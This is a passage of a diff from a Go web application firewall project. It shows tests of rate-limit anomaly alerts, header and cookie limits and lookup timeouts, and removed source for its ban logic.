t.Errorf("the ledger holds %+v, want no ban", held)
}
})
}
}
}
// wantAlertedAgainOnceTheCooldownHasRunOut checks that, once the cooldown
// has run out after a first alert, which held back one repeat, the next
// count over the threshold, at the latest three uploads from client on,
// raises another alert, giving that repeat.
func wantAlertedAgainOnceTheCooldownHasRunOut(
t *testing.T, s *sender, clk *clock, queue *alerts.Queue,
) {
t.Helper()
clk.advance(15 * time.Minute)
for range 3 {
s.uploadFrom(client)
}
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 2 || !waiting[1].Time.Equal(clk.Now()) ||
waiting[1].SuppressedRepeats != 1 {
t.Errorf("alerts wait %+v, want the first and another, with 1 repeat", waiting)
}
}
func TestEveryRequestIsCountedWhateverIsDoneWithIt(t *testing.T) {
t.Parallel()
const (
allowed = "192.0.2.7" // in SWW_ALLOW_NETS
exempt = "192.0.2.10" // in SWW_RATE_LIMIT_EXEMPT_NETS
denied = "192.0.2.20" // in SWW_DENY_NETS
)
s, _, _, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{
anomalyClient + requestsPerMinute: "2",
allowNets: allowed,
rateLimitExemptNets: exempt,
rateLimitExemptPaths: "/static/",
denyNets: denied,
})
// The third request of each takes its client's count over the threshold
// of 2.
for _, sent := range []struct {
from, path string
status int
action string
}{
{allowed, "/", http.StatusOK, requestlog.ActionForward},
{exempt, "/", http.StatusOK, requestlog.ActionForward},
{client, "/static/app.js", http.StatusOK, requestlog.ActionForward},
{denied, "/", http.StatusForbidden, requestlog.ActionClientDenied},
} {
for range 3 {
s.request(sent.from, sent.path, sent.status, sent.action)
}
}
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
got := make([]string, 0, len(waiting))
for _, alert := range waiting {
got = append(got, alert.Client.String())
}
if want := []string{allowed, exempt, client, denied}; !slices.Equal(got, want) {
t.Errorf("alerts for the clients %v, want %v", got, want)
}
}
func TestThresholdsOffCountNothingAndAlertNothing(t *testing.T) {
t.Parallel()
// With every threshold off, nothing is counted.
s, server, queue := startWithLookups(t, map[string]string{watchNets: office})
for range 5 {
s.uploadFrom(client)
}
if counters := server.Anomalies.Snapshot(); len(counters) != 0 {
t.Errorf("counters %+v, want none", counters)
}
wantAlerts(t, queue)
// With one set, its count alone is counted, in its scope alone.
s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{
anomalyNet + requestsPerMinute: aLot, watchNets: office,
})
for range 5 {
s.uploadFrom(client)
}
want := []anomaly.Counter{{
Scope: anomaly.ScopeNet,
Netblock: netip.MustParsePrefix(clientsNet),
Minute: ratelimit.Buckets{Start: clk.Now(), Current: 5},
}}
if got := server.Anomalies.Snapshot(); !reflect.DeepEqual(got, want) {
t.Errorf("counters\n%+v\nwant\n%+v", got, want)
}
wantAlerts(t, queue)
}
func TestNetblockAroundAClientIsAsLongAsTheSettingsSay(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
env map[string]string
// Each client of sent sends one request, and want gives the
// netblocks they are counted in, each with its requests.
sent []string
want map[string]int64
}{
{
"by default", nil,
[]string{client, "203.0.113.200", "192.0.2.7", ipv6Client, "2001:db8:0:ffff::1"},
map[string]int64{clientsNet: 2, "192.0.2.0/24": 1, "2001:db8::/48": 2},
},
{
"as set", map[string]string{anomalyNetV4Prefix: "16", anomalyNetV6Prefix: "32"},
[]string{client, "203.0.200.1", ipv6Client, "2001:db8:ffff::1"},
map[string]int64{"203.0.0.0/16": 2, "2001:db8::/32": 2},
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
env := map[string]string{anomalyNet + requestsPerMinute: aLot}
maps.Copy(env, tc.env)
s, _, server, _ := startAppWithAlerts(t, readAndAnswer, env)
for _, from := range tc.sent {
s.get(from, http.StatusOK, requestlog.ActionForward)
}
got := map[string]int64{}
for _, counter := range server.Anomalies.Snapshot() {
got[counter.Netblock.String()] = counter.Minute.Current
}
if !maps.Equal(got, tc.want) {
t.Errorf("requests by netblock %v, want %v", got, tc.want)
}
})
}
}
func TestClientIsCountedForItsASNumberOnceTheLookupGivesOne(t *testing.T) {
t.Parallel()
s, server, _ := startWithLookups(t, map[string]string{
anomalyASN + requestsPerMinute: aLot,
})
// The lookup database does not hold unplaced.
for _, from := range []string{fromDE, fromDE, fromKP, noCountry, unplaced} {
s.uploadFrom(from)
}
got := map[string]int64{}
for _, counter := range server.Anomalies.Snapshot() {
got[counter.ASN] = counter.Minute.Current
}
if want := map[string]int64{asnDE: 2, asnKP: 1, "AS64500": 1}; !maps.Equal(got, want) {
t.Errorf("requests by AS number %v, want %v", got, want)
}
}
func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) {
t.Parallel()
// The stand-in for GeoJS answers only once released, which the app
// does as it answers the request, and then waits until the answer is
// kept.
geojsURL, _, release := startHeldGeoJS(t)
var server atomic.Pointer[discriminator.Server]
app := startApp(t, func(http.ResponseWriter, *http.Request) {
release()
waitUntil(func() bool {
_, kept := server.Load().GeoJS.Kept(netip.MustParsePrefix(fromDE + "/32"))
return kept
})
})
clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)}
addr, out, started := startProxyWithClock(t, app.URL, geojsURL, clk.Now,
map[string]string{
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
anomalyASN + requestsPerMinute: aLot,
})
server.Store(started)
// The request went on without the answer, and is counted for the AS
// number it gives.
s := &sender{t: t, addr: addr, out: out}
if line := s.get(fromDE, http.StatusOK, requestlog.ActionForward); line.ASN != "" {
t.Errorf("log line has AS number %q, want none: the request waited", line.ASN)
}
want := []anomaly.Counter{{
Scope: anomaly.ScopeASN, ASN: asnDE,
Minute: ratelimit.Buckets{Start: clk.Now(), Current: 1},
}}
if got := started.Anomalies.Snapshot(); !reflect.DeepEqual(got, want) {
t.Errorf("counters\n%+v\nwant\n%+v", got, want)
}
}
func TestEachNamedNetblockCountsTheClientsInIt(t *testing.T) {
t.Parallel()
s, _, server, _ := startAppWithAlerts(t, readAndAnswer, map[string]string{
anomalyWatch + requestsPerMinute: aLot,
watchNets: office + ",wide=203.0.0.0/16,other=198.51.100.0/25",
})
// client is in office and in wide.
for _, from := range []string{client, "203.0.200.1", "192.0.2.7"} {
s.get(from, http.StatusOK, requestlog.ActionForward)
}
got := map[string]int64{}
for _, counter := range server.Anomalies.Snapshot() {
got[counter.Name] = counter.Minute.Current
}
if want := map[string]int64{"office": 1, "wide": 2}; !maps.Equal(got, want) {
t.Errorf("requests by named netblock %v, want %v", got, want)
}
}
internal/discriminator/answertime_test.go
-588
View File
@@ -1,588 +0,0 @@
package discriminator_test
import (
"fmt"
"maps"
"net"
"net/http"
"net/http/httptest"
"net/netip"
"slices"
"strconv"
"strings"
"testing"
"testing/synctest"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/lookup"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
const (
// answerTimeLimit is the default of rproxy's SWRP_TIMEOUT_MS, the time
// discriminator has to answer.
answerTimeLimit = 2 * time.Second
// defaultLookupWait is the default of SWW_LOOKUP_TIMEOUT.
defaultLookupWait = 800 * time.Millisecond
// The header limits SPEC.md gives.
cookieLimit = 50
headerFieldLimit = 100
// cookieHeader is the header the cookie limit counts.
cookieHeader = "Cookie"
// tooLarge is how discriminator refuses a request over the header limits.
tooLarge = http.StatusRequestHeaderFieldsTooLarge
// silentAbuseIPDBURL is where AbuseIPDB never answers: at the stand-in
// that silentGeoJSURL names too.
silentAbuseIPDBURL = "silent://abuseipdb/api/v2/check"
// wholeLimit is the percentage of a rate limit that lowers it not at all.
wholeLimit = 100
// clientsDecision is the CrowdSec decision list holding client alone.
clientsDecision = `[{"duration": "4h0m0s", "scenario": "crowdsecurity/ssh-bf", ` +
`"scope": "Ip", "type": "ban", "value": "` + client + `"}]`
)
// cookies returns a Cookie header's value with count cookies.
func cookies(count int) string {
parts := make([]string, 0, count)
for i := range count {
parts = append(parts, "c"+strconv.Itoa(i)+"=1")
}
return strings.Join(parts, "; ")
}
// fillHeaders adds headers to a question until the checks see total header
// fields: all but ClientHeader and PeerHeader, which discriminator removes. Go's
// client sends nothing else but Host, which the limit does not count, once
// User-Agent is set.
func fillHeaders(req *http.Request, total int) {
req.Header.Set("User-Agent", "test")
for i := len(req.Header) - 2; i < total; i++ {
req.Header.Set("X-Filler-"+strconv.Itoa(i), "1")
}
}
func TestSixteenThousandCookiesAreRefusedWellWithinTheTimeLimit(t *testing.T) {
t.Parallel()
s := startDiscriminator(t, "", map[string]string{wafMode: block})
req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
began := time.Now()
got := do(t, req)
if took := time.Since(began); took >= answerTimeLimit/2 {
t.Errorf("answered after %s, want well within %s", took, answerTimeLimit)
}
wantDisposition(t, got, tooLarge, discriminator.DispositionDeny)
line := s.out.requestLine(t)
wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
if line.DurationCoreRuleSetMS != nil {
t.Errorf("the Core Rule Set read the request, for %f ms", *line.DurationCoreRuleSetMS)
}
}
func TestHeaderLimitRefusalNamesItsHeuristicCountsAndLimits(t *testing.T) {
t.Parallel()
s := startDiscriminator(t, "", nil)
req := s.question(siteA, client, "/")
fillHeaders(req, headerFieldLimit+1)
do(t, req)
wantHeuristic(t, s.out.requestLine(t), "header_limits",
`{"fields": 101, "fields_limit": 100, "cookies": 0, "cookies_limit": 50}`)
}
func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
t.Parallel()
repeated := make([]string, headerFieldLimit)
for i := range repeated {
repeated[i] = "1"
}
for _, tc := range []struct {
name string
make func(*http.Request)
// refused is true for a request over a limit, and false for one at it.
refused bool
}{
{"cookies at the limit", func(req *http.Request) {
req.Header.Set(cookieHeader, cookies(cookieLimit))
}, false},
{"cookies over the limit", func(req *http.Request) {
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
}, true},
{"parts empty or only spaces and tabs are no cookies", func(req *http.Request) {
req.Header.Set(cookieHeader, cookies(cookieLimit)+"; \t;;")
}, false},
{"parts of no-break spaces count", func(req *http.Request) {
req.Header.Set(cookieHeader, strings.Repeat(" ;", cookieLimit+1))
}, true},
{"cookies over the limit across two headers", func(req *http.Request) {
req.Header[cookieHeader] = []string{cookies(cookieLimit), "last=1"}
}, true},
{"cookies without a value count", func(req *http.Request) {
req.Header.Set(cookieHeader, strings.Repeat("a;", cookieLimit+1))
}, true},
{"header fields at the limit", func(req *http.Request) {
fillHeaders(req, headerFieldLimit)
}, false},
{"header fields over the limit", func(req *http.Request) {
fillHeaders(req, headerFieldLimit+1)
}, true},
{"a header sent many times counts each time", func(req *http.Request) {
req.Header["X-Filler"] = repeated
}, true},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
s := startDiscriminator(t, "", map[string]string{wafMode: block})
req := s.question(siteA, client, "/")
tc.make(req)
got := do(t, req)
line := s.out.requestLine(t)
if tc.refused {
wantDisposition(t, got, tooLarge, discriminator.DispositionDeny)
wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
return
}
wantDisposition(t, got, http.StatusOK, discriminator.DispositionAllow)
wantLine(t, line, http.StatusOK, requestlog.ActionForward)
if line.DurationCoreRuleSetMS == nil {
t.Error("the Core Rule Set did not read a request within the limits")
}
})
}
}
func TestHeaderLimitsHoldWhateverTheCoreRuleSetSettingsSay(t *testing.T) {
t.Parallel()
for _, env := range []map[string]string{
{wafMode: off},
{wafMode: "detect"},
{wafMode: block, "SWW_WAF_EXEMPT_PATHS": "/"},
} {
t.Run(fmt.Sprint(env), func(t *testing.T) {
t.Parallel()
s := startDiscriminator(t, "", env)
req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
wantDisposition(t, do(t, req), tooLarge, discriminator.DispositionDeny)
})
}
}
func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) {
t.Parallel()
s := startDiscriminator(t, "", map[string]string{wafMode: block, allowNets: client})
req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
wantDisposition(t, do(t, req), http.StatusOK, discriminator.DispositionAllow)
}
func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) {
t.Parallel()
s := startDiscriminator(t, "", map[string]string{mode: observe, wafMode: block})
req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
began := time.Now()
got := do(t, req)
if took := time.Since(began); took >= answerTimeLimit/2 {
t.Errorf("answered after %s, want well within %s", took, answerTimeLimit)
}
wantDisposition(t, got, http.StatusOK, discriminator.DispositionAllow)
line := s.out.requestLine(t)
if line.WouldAction != requestlog.ActionRequestHeaderTooLarge ||
line.DurationCoreRuleSetMS != nil {
t.Errorf("would_action %q and duration_core_rule_set_ms %v, want %q and none",
line.WouldAction, line.DurationCoreRuleSetMS, requestlog.ActionRequestHeaderTooLarge)
}
}
func TestRequestsOverTheHeaderLimitsCountTowardTheRateLimits(t *testing.T) {
t.Parallel()
s := startDiscriminator(t, "", map[string]string{rateLimitPerMinute: "1"})
ask := func() answer {
req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
return do(t, req)
}
wantDisposition(t, ask(), tooLarge, discriminator.DispositionDeny)
wantDisposition(t, ask(), http.StatusForbidden, discriminator.DispositionDeny)
lines := s.out.requestLines(t, 2)
wantLine(t, lines[1], http.StatusForbidden, requestlog.ActionClientIsRateLimited)
}
func TestTheHeaderLimitsComeAfterTheTrapPathsAndTheRuleFiles(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name, path, action string
}{
{"a trap path", "/wp-login.php", requestlog.ActionTemporarilyBanned},
{"a block rule", "/blocked", requestlog.ActionBlockedByBlockRule},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
s := startDiscriminator(t, "", map[string]string{
trapPaths: trapPathList, rulesDir: writeRules(t, testRules),
})
req := s.question(siteA, client, tc.path)
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
wantDisposition(t, do(t, req), http.StatusForbidden, discriminator.DispositionDeny)
wantLine(t, s.out.requestLine(t), http.StatusForbidden, tc.action)
})
}
}
func TestNotWaitingForGeoJSNeverLowersAClientsLimit(t *testing.T) {
t.Parallel()
geojsURL, _ := startGeoJS(t)
s := startDiscriminator(t, geojsURL, map[string]string{
unknownLimitPercent: "0", lookupTimeout: "1h",
})
req := s.question(siteA, fromDE, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
wantDisposition(t, do(t, req), tooLarge, discriminator.DispositionDeny)
line := s.out.requestLine(t)
wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
if line.RateLimitPercent != nil {
t.Errorf("limit percentage %d, want none", *line.RateLimitPercent)
}
// The client is under no ban, and GeoJS places it in a country.
wantDisposition(t, s.ask(fromDE, "/"), http.StatusOK, discriminator.DispositionAllow)
}
func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(t *testing.T) {
t.Parallel()
geojsURL, _ := startGeoJS(t)
s := startDiscriminator(t, geojsURL, map[string]string{unknownLimitPercent: "0"})
s.server.GeoJS.Load([]lookup.Answer{{
Client: netip.MustParsePrefix(client + "/32"), ASN: "AS64512",
Answered: s.clock.Now(), Used: s.clock.Now(),
}})
req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
wantDisposition(t, do(t, req), http.StatusForbidden, discriminator.DispositionDeny)
wantLine(t, s.out.requestLine(t), http.StatusForbidden,
requestlog.ActionClientIsRateLimited)
}
func TestObserveModeWaitsForGeoJSForARequestOverTheHeaderLimits(t *testing.T) {
t.Parallel()
geojsURL, _ := startGeoJS(t)
s := startDiscriminator(t, geojsURL, map[string]string{
mode: observe, addLookupHeaders: on, lookupTimeout: "1h",
})
req := s.question(siteA, fromDE, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
got := do(t, req)
wantDisposition(t, got, http.StatusOK, discriminator.DispositionAllow)
asn, country := got.header.Get("X-Client-Asn"), got.header.Get("X-Client-Country")
if asn != asnDE || country != "DE" {
t.Errorf("answered with the AS number %q and the country %q, want %q and DE",
asn, country, asnDE)
}
}
// newDiscriminatorInBubble makes a discriminator for a synctest bubble: GeoJS never
// answers, a setting needs its answer, and everything is at its default but
// for env. No request to it may use the network.
func newDiscriminatorInBubble(
t *testing.T, env map[string]string,
) (*discriminator.Server, *output) {
t.Helper()
settings := map[string]string{tagDeny: "country=KP"}
maps.Copy(settings, env)
server, out, _ := newDiscriminator(t, silentGeoJSURL, time.Now, settings)
return server, out
}
// askDirectly hands a question about a request from client straight to server,
// as change leaves it, and returns the answer's status and how long it took.
func askDirectly(
t *testing.T, server *discriminator.Server, change func(*http.Request),
) (int, time.Duration) {
t.Helper()
req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
req.RemoteAddr = net.JoinHostPort(rproxyPeer, "1234")
req.Header.Set(discriminator.ClientHeader, client)
req.Header.Set(requestIDHeader, "the-id")
change(req)
recorder := httptest.NewRecorder()
began := time.Now()
server.Handler.ServeHTTP(recorder, req)
return recorder.Code, time.Since(began)
}
// banClient bans client at now.
func banClient(_ *testing.T, server *discriminator.Server, now time.Time) {
server.Ledger.BanForLimit(netip.MustParsePrefix(client+"/32"), now, bans.Notes{})
}
// countClient counts one request from client at now for the rate limits.
func countClient(_ *testing.T, server *discriminator.Server, now time.Time) {
server.Limiter.Count(netip.MustParsePrefix(client+"/32"), now, wholeLimit)
}
// listClient puts client on the blocklist at dropURL.
func listClient(t *testing.T, server *discriminator.Server, now time.Time) {
t.Helper()
err := server.Lists.Load([]reputation.List{{
URL: dropURL, Tried: now, Fetched: now, Lines: []string{client},
}})
if err != nil {
t.Fatalf("load the blocklist: %v", err)
}
}
// decideOnClient puts client on the CrowdSec decision list.
func decideOnClient(t *testing.T, server *discriminator.Server, now time.Time) {
t.Helper()
loadDecisions(t, server, now, clientsDecision)
}
// leaveAsItIs prepares nothing.
func leaveAsItIs(*testing.T, *discriminator.Server, time.Time) {}
func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
t.Parallel()
const forbidden = http.StatusForbidden
for _, tc := range []struct {
name string
env map[string]string
// prepare gets the server ready, at now, before the question.
prepare func(t *testing.T, server *discriminator.Server, now time.Time)
// cookie is the request's Cookie header.
cookie string
status int
action string
}{
{
name: "SWW_DENY_NETS", env: map[string]string{denyNets: client},
prepare: leaveAsItIs, status: forbidden, action: requestlog.ActionClientDenied,
},
{
name: "a ban",
prepare: banClient, status: forbidden, action: requestlog.ActionTemporarilyBanned,
},
{
name: "the rate limits", env: map[string]string{rateLimitPerMinute: "1"},
prepare: countClient, status: forbidden,
action: requestlog.ActionClientIsRateLimited,
},
{
name: "the rate limits, with a biased threshold",
env: map[string]string{rateLimitPerMinute: "1", unknownLimitPercent: "50"},
prepare: countClient, status: forbidden,
action: requestlog.ActionClientIsRateLimited,
},
{
name: "a blocklist", env: map[string]string{blocklistURLs: dropURL},
prepare: listClient, status: forbidden, action: requestlog.ActionClientDenied,
},
{
name: "the CrowdSec decision list",
env: map[string]string{crowdSecURL: lapi, crowdSecKey: bouncerKey},
prepare: decideOnClient, status: forbidden,
action: requestlog.ActionTemporarilyBanned,
},
{
name: "the header limits", cookie: cookies(cookieLimit + 1),
prepare: leaveAsItIs, status: tooLarge,
action: requestlog.ActionRequestHeaderTooLarge,
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
// says, so that a request that does not wait takes no time at all.
synctest.Test(t, func(t *testing.T) {
server, out := newDiscriminatorInBubble(t, tc.env)
tc.prepare(t, server, time.Now())
status, took := askDirectly(t, server, func(req *http.Request) {
req.Header.Set(cookieHeader, tc.cookie)
})
if status != tc.status || took != 0 {
t.Errorf("answered %d after %s, want %d at once; output:\n%s",
status, took, tc.status, out.text())
}
wantLine(t, out.requestLine(t), tc.status, tc.action)
// GeoJS's request is abandoned before the bubble ends.
time.Sleep(defaultLookupWait)
})
})
}
}
func TestAQuestionWaitsForASlowGeoJSOnlyAsLongAsTheDefaultSays(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
env map[string]string
// prepare gets the server ready, at now, before the question.
prepare func(t *testing.T, server *discriminator.Server, now time.Time)
status int
action string
}{
{"nothing refuses it", nil, leaveAsItIs, http.StatusOK, requestlog.ActionForward},
{
"a country list needs the answer", map[string]string{allowedCountries: "DE"},
leaveAsItIs, http.StatusForbidden, requestlog.ActionCountryDenied,
},
{
"a blocklist that only logs",
map[string]string{blocklistURLs: dropURL, blocklistAction: actionLog},
listClient, http.StatusOK, requestlog.ActionForward,
},
{
"a blocklist that only limits",
map[string]string{blocklistURLs: dropURL, blocklistAction: limitQuarter},
listClient, http.StatusOK, requestlog.ActionForward,
},
{
"over a rate limit on an exempt path",
map[string]string{rateLimitPerMinute: "1", rateLimitExemptPaths: "/"},
countClient, http.StatusOK, requestlog.ActionForward,
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
server, out := newDiscriminatorInBubble(t, tc.env)
tc.prepare(t, server, time.Now())
status, took := askDirectly(t, server, func(*http.Request) {})
if status != tc.status || took != defaultLookupWait {
t.Errorf("answered %d after %s, want %d after %s; output:\n%s",
status, took, tc.status, defaultLookupWait, out.text())
}
wantLine(t, out.requestLine(t), tc.status, tc.action)
})
})
}
}
func TestDiscriminatorAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
t *testing.T,
) {
t.Parallel()
held, askedGeoJS, _ := startHeldGeoJS(t)
// A resolver that takes every query and answers none.
resolver, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", localhost+":0")
if err != nil {
t.Fatalf("listen: %v", err)
}
t.Cleanup(func() { _ = resolver.Close() })
server, out, _ := newDiscriminatorWith(t, func(
params discriminator.Params,
) *discriminator.Server {
params.AbuseIPDBURL = silentAbuseIPDBURL
return discriminator.New(params)
}, held, time.Now, map[string]string{
tagDeny: "country=KP", wafMode: block,
dnsblZones: dnsblZone, dnsblResolver: resolver.LocalAddr().String(),
abuseIPDBKey: accountKey,
blocklistURLs: held + "/drop.txt", asnLimitPercentURL: held + "/asn.txt",
crowdSecURL: held, crowdSecKey: bouncerKey,
})
// AbuseIPDB is asked only about a client with an offence.
group := netip.MustParsePrefix(client + "/32")
server.Limiter.AddToHistory(group, time.Now(), ratelimit.Request{Attack: true})
go server.Lists.Run(t.Context())
status, took := askDirectly(t, server, func(req *http.Request) {
req.Header.Set("User-Agent", "test")
req.Header.Set("Accept", "*/*")
req.Host = siteA
})
if status != http.StatusOK || took >= answerTimeLimit {
t.Errorf("answered %d after %s, want %d within %s; output:\n%s",
status, took, http.StatusOK, answerTimeLimit, out.text())
}
// Each outside source was asked, and none has answered. The stand-in for
// GeoJS is the lists' too, which name no address.
if !slices.Contains(askedGeoJS(), client) {
t.Errorf("GeoJS was asked about %q, not %s", askedGeoJS(), client)
}
if queries := server.DNSBL.Queries(dnsblZone); queries != 1 {
t.Errorf("%d queries to the DNS blocklist, want 1", queries)
}
if checked := server.AbuseIPDB.Checked(); checked != 1 {
t.Errorf("%d checks with AbuseIPDB, want 1", checked)
}
}
internal/discriminator/bans.go
-325
View File
@@ -1,325 +0,0 @@
package discriminator
// The heuristic active_ban, and the code that makes bans, which several
// heuristics share. active_ban reads SWW_MODE; the bans are the ban ledger's.
import (
"context"
"net/netip"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// banResponse is a refusal answered with SWW_BAN_RESPONSE, and logged
// with action.
func (rq *request) banResponse(action string) *refusal {
return &refusal{status: rq.h.config.BanResponse, action: action}
}
// activeBan refuses a client a ban covers: a ban on a netblock the client is
// in, in force at now. It notes for the log line when that ban ends. A request
// that makes the ban permanent, or in observe mode would have, raises the alert
// for it. Its figures are the ban's netblock and when it ends.
type activeBan struct{}
func (activeBan) name() string { return "active_ban" }
func (activeBan) check(_ context.Context, rq *request, now time.Time) *verdict {
check := rq.h.ledger.Check
if rq.h.config.Observe {
check = rq.h.ledger.Find // the ban refuses nothing, and stays as it is
}
ban, banned, madePermanent := check(rq.client, now)
if banned {
rq.line.BanExpires = banExpires(ban)
}
if madePermanent {
ban.Expires = time.Time{} // the ban made permanent, which Find leaves as it is
rq.alertBan(ban)
}
if !banned {
return nil
}
return &verdict{
action: banAction(ban.Permanent()),
figures: map[string]any{
figureNetblock: ban.Netblock.String(), "ban_expires": rq.line.BanExpires,
},
}
}
// banAction is the action of a request refused under a ban or for making one:
// permanent says the ban never runs out.
func banAction(permanent bool) string {
if permanent {
return requestlog.ActionPermanentlyBanned
}
return requestlog.ActionTemporarilyBanned
}
// limitFigures are the figures of a heuristic that broke hit, a limit: its
// window, the count and the limit.
func limitFigures(hit ratelimit.Hit) map[string]any {
return map[string]any{
figureWindow: hit.Window, figureCount: hit.Count, figureLimit: hit.Limit,
}
}
// countedBytes returns the request's bytes, once it has ended, as the
// byte limits and the anomaly thresholds count them: the response's body
// bytes, the request's, or both, as SWW_BYTES_COUNT says.
func (rq *request) countedBytes() int64 {
response, request := rq.out.bytes, rq.requestBytes
switch rq.h.config.BytesCount {
case "response":
return response
case "request":
return request
default: // both
return response + request
}
}
// banForLimit bans the client's netblock at now for a broken limit, the
// one hit names, notes the offence for the log line and counts the hit in
// the metrics. status is what the client was sent, or is sent:
// SWW_BAN_RESPONSE for a request over a rate limit, what the report says for
// one whose bytes broke a byte limit, the refusal for one that broke the
// error burst. The ban's notes give the client's limit percentage for a
// rate limit or a byte limit; the error burst is not lowered. The ban sets
// the client's counters back to zero. In observe mode it makes no ban and
// sets nothing back, and raises the alert for the ban it would have made,
// if that alert would be sent.
func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
switch hit.Kind {
case ratelimit.KindBytes:
rq.line.LimitHit = hit.Window + "_bytes" // as counts names the byte totals
case ratelimit.KindRefusals:
rq.line.LimitHit = requestlog.LimitHitMinuteRefusals
default:
rq.line.LimitHit = hit.Window
}
rq.line.Offence = requestlog.OffenceLimit
rq.h.metrics.LimitHit(hit)
netblock := rq.h.netblock(rq.client)
if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseLimit) {
return
}
notes := bans.Notes{
ASN: rq.line.ASN,
ASName: rq.line.ASName,
Country: rq.line.Country,
Kind: hit.Kind,
Limit: hit.Limit,
Window: hit.Window,
Count: hit.Count,
Reputation: rq.reputation,
Request: rq.noted(now, status),
Requests: rq.netblockRequests(netblock),
}
switch hit.Kind {
case ratelimit.KindRequests:
notes.LimitPercent, notes.LimitPercentSetting = rq.rateLimitPercent.logged()
case ratelimit.KindBytes:
notes.LimitPercent, notes.LimitPercentSetting = rq.bytesLimitPercent.logged()
}
if rq.h.config.Observe {
ban, wouldBan := rq.h.ledger.WouldBanForLimit(netblock, now, notes)
if wouldBan {
rq.alertBan(ban)
}
return
}
ban, made := rq.h.ledger.BanForLimit(netblock, now, notes)
rq.h.limiter.Reset(rq.h.clientGroup(rq.client))
rq.line.BanExpires = banExpires(ban)
if made {
rq.alertBan(ban)
}
}
// banForAttack bans the client's netblock at now for a clear sign of
// attack, which notes name: the ban rule that matched, or the trap path
// asked for. It fills in the rest of the notes. In observe mode it makes
// no ban, and raises the alert for the ban it would have made, if that
// alert would be sent. It returns the action for that ban.
func (rq *request) banForAttack(now time.Time, notes bans.Notes) string {
netblock := rq.h.netblock(rq.client)
if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseAttack) {
return banAction(rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseAttack))
}
notes.ASN = rq.line.ASN
notes.ASName = rq.line.ASName
notes.Country = rq.line.Country
notes.Reputation = rq.reputation
notes.Request = rq.noted(now, rq.h.config.BanResponse)
notes.Requests = rq.netblockRequests(netblock)
if rq.h.config.Observe {
ban, wouldBan := rq.h.ledger.WouldBanForAttack(netblock, now, notes)
if wouldBan {
rq.alertBan(ban)
}
return banAction(ban.Permanent())
}
ban, made := rq.h.ledger.BanForAttack(netblock, now, notes)
rq.line.BanExpires = banExpires(ban)
if made {
rq.alertBan(ban)
}
return banAction(ban.Permanent())
}
// banForCrowdSec bans the client's netblock at now until decision,
// CrowdSec's decision on the client, ends. In observe mode it makes no
// ban, and raises the alert for the ban it would have made, if that alert
// would be sent. It returns the action for that ban.
func (rq *request) banForCrowdSec(now time.Time, decision reputation.Decision) string {
netblock := rq.h.netblock(rq.client)
if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseCrowdSec) {
return banAction(rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseCrowdSec))
}
notes := bans.Notes{
ASN: rq.line.ASN,
ASName: rq.line.ASName,
Country: rq.line.Country,
Reputation: rq.reputation,
Request: rq.noted(now, rq.h.config.BanResponse),
Requests: rq.netblockRequests(netblock),
}
if rq.h.config.Observe {
ban, wouldBan := rq.h.ledger.WouldBanForCrowdSec(netblock, now, decision.Expires,
decision.Scenario, notes)
if wouldBan {
rq.alertBan(ban)
}
return banAction(ban.Permanent())
}
ban, made := rq.h.ledger.BanForCrowdSec(netblock, now, decision.Expires,
decision.Scenario, notes)
